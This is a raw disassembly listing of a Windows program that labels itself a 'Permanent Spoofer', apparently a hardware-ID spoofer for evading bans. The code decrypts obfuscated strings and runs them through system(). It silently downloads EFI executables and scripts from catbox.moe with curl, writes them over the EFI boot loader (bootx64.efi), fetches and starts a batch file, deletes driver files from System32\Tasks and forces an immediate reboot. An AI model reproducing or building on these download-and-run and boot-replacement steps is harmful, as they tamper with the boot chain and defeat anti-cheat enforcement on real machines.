pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400479a1
cmp r8d, 0x2d
jge 0x140047acf
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140047aa0
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a1]
call fcn.140049310
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140047d1f
mov r8d, r13d
cmp r15d, 2
jl 0x140047ce2
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140047bf1
cmp r8d, 0x2d
jge 0x140047d1f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140047cf0
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xd0]
call fcn.140049350
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140047f6f
mov r8d, r13d
cmp r15d, 2
jl 0x140047f32
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140047e41
cmp r8d, 0x2d
jge 0x140047f6f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140047f40
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0xb0]
call fcn.14003e300
mov r10, rax
movups xmm0, xmmword [0x1400cee28]
movups xmmword [rsp + 0x140], xmm0
movups xmm1, xmmword [0x1400cee38]
movups xmmword [rsp + 0x150], xmm1
movsd xmm0, qword [0x1400cee48]
movsd qword [rsp + 0x160], xmm0
mov ecx, dword [0x1400cee50]
mov dword [rsp + 0x168], ecx
movzx eax, byte [0x1400cee54]
mov byte [rsp + 0x16c], al
mov r8d, r13d
cmp r15d, 2
jl 0x1400481b1
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rsp + 0x144]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400480c0
cmp r8d, 0x2d
jge 0x1400481ef
movsxd rax, r8d
lea r9, [rsp + 0x140]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400481c0
mov r8, r10
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xf8]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b500
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0xd0]
lea rcx, [rsp + 0x490]
call fcn.14004ccb0
or dword [rsp + 0x1ac], 0x2000
lea r8, str.__NUL_2_1
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
lea rcx, str.C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksiqvw64e.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmac.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32TasksVolumeid64.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movss xmm3, dword [0x14018c240]
movss xmm6, dword [0x1400cf384]
addss xmm3, xmm6
movss dword [rsp + 0x28], xmm15
movss xmm7, dword [0x1400cf390]
movss dword [rsp + 0x20], xmm7
movss xmm2, dword [0x1400cf398]
lea rdx, [0x1400ce440]
lea rcx, str.EFI_SPOOF
call fcn.1400399c0
test al, al
je 0x140048393
mov byte [0x14018d2fa], 1
jmp 0x1400483a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [0x14018d2fa], 0
je 0x140048645
lea rcx, str.curl___silent_https:__files.catbox.moe_jzoad4.efi___output_E:_amideefix64.efi__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_j0nfxm.nsh___output_E:_startup.nsh__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_iwozik.efi___output_E:_afuefix64.efi__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400ce578]
lea rcx, [rsp + 0x500]
call fcn.14004aac0
nop
xor r8d, r8d
lea rdx, [0x1400ce57c]
lea rcx, [rsp + 0x490]
call fcn.14004d2e0
nop
xor r8d, r8d
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0xd8]
call fcn.14004bac0
nop
lea r8, [rsp + 0x490]
mov rdx, rax
lea rcx, [rsp + 0x4c0]
call fcn.14003c7b0
nop
lea rcx, [rsp + 0xd8]
call fcn.14003c940
nop
lea rcx, [rsp + 0x490]
call fcn.14003c940
xor r8d, r8d
lea rdx, str.boot
lea rcx, [rsp + 0x70]
call fcn.14004d330
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x4c0]
lea rcx, [rsp + 0x4e0]
call fcn.14003c7b0
nop
lea rcx, [rsp + 0x70]
call fcn.14003c940
nop
lea rcx, [rsp + 0x4c0]
call fcn.14003d280
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x1400484c2
lea rdx, str.Created_directory:
call fcn.14004b760
lea rdx, [rsp + 0x4c0]
mov rcx, rax
call fcn.14004bb10
lea rdx, [0x14004bc90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400484ee
lea rdx, str.Directory_already_exists:
call fcn.14004b760
lea rdx, [rsp + 0x4c0]
mov rcx, rax
call fcn.14004bb10
lea rdx, [0x14004bc90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x4e0]
call fcn.14003d280
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x140048534
lea rdx, str.Created_directory:
call fcn.14004b760
lea rdx, [rsp + 0x4e0]
mov rcx, rax
call fcn.14004bb10
lea rdx, [0x14004bc90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140048561
lea rdx, str.Directory_already_exists:
call fcn.14004b760
lea rdx, [rsp + 0x4e0]
mov rcx, rax
call fcn.14004bb10
lea rdx, [0x14004bc90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x1400485ca
lea rcx, str.curl___silent_https:__files.catbox.moe_7e1ty3.txt___output_E:efi_boot_bootx64.efi__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_j0nfxm.nsh___output_E:efi_boot_startup.nsh__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
xor r9d, r9d
lea r8, str.Fusion_Services__Permanent_Spoofer
lea rdx, str.Done___restart_PC
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov byte [0x14018d2fa], 0
lea rcx, [rsp + 0x4e0]
call fcn.14003c940
nop
lea rcx, [rsp + 0x4c0]
call fcn.14003c940
nop
lea rcx, [rsp + 0x500]
call fcn.14004aa60
movss xmm3, dword [0x14018c240]
addss xmm3, xmm6
movss dword [rsp + 0x28], xmm15
movss dword [rsp + 0x20], xmm7
movaps xmm2, xmm8
lea rdx, [0x1400ce6b8]
lea rcx, str.SERIAL_CHECKER
call fcn.1400399c0
test al, al
je 0x140048682
mov byte [0x14018d2f9], 1
jmp 0x14004868b
cmp byte [0x14018d2f9], 0
je 0x1400486ac
lea rcx, str.curl___silent_https:__files.catbox.moe_x6jf1m.bat___output_C:WindowsSystem32TasksSerialsChecker.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32TasksSerialsChecker.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14018d2f9], 0
call fcn.14000b870
call fcn.140010bd0
call fcn.14000ad40
movss xmm2, dword [rsp + 0x4bc]
movaps xmm0, xmm2
mulss xmm0, dword [rsp + 0x4b0]
movss dword [rsp + 0x790], xmm0
movss xmm1, dword [rsp + 0x4b4]
mulss xmm1, xmm2
movss dword [rsp + 0x794], xmm1
movss xmm0, dword [rsp + 0x4b8]
mulss xmm0, xmm2
movss dword [rsp + 0x798], xmm0
movss dword [rsp + 0x79c], xmm2
mov rcx, qword [0x14018d728]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x14018d6d0]
mov edi, 1
mov edx, edi
call qword [rax + 0x108]
mov rcx, qword [0x14018d728]
mov rax, qword [rcx]
lea r8, [rsp + 0x790]
mov rdx, qword [0x14018d6d0]
call qword [rax + 0x190]
call fcn.1400082e0
mov rcx, rax
call fcn.14002daf0
mov rcx, qword [0x14018d6d8]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, edi
call qword [rax + 0x40]
mov ebx, dword [rsp + 0x138]
jmp 0x14003f45a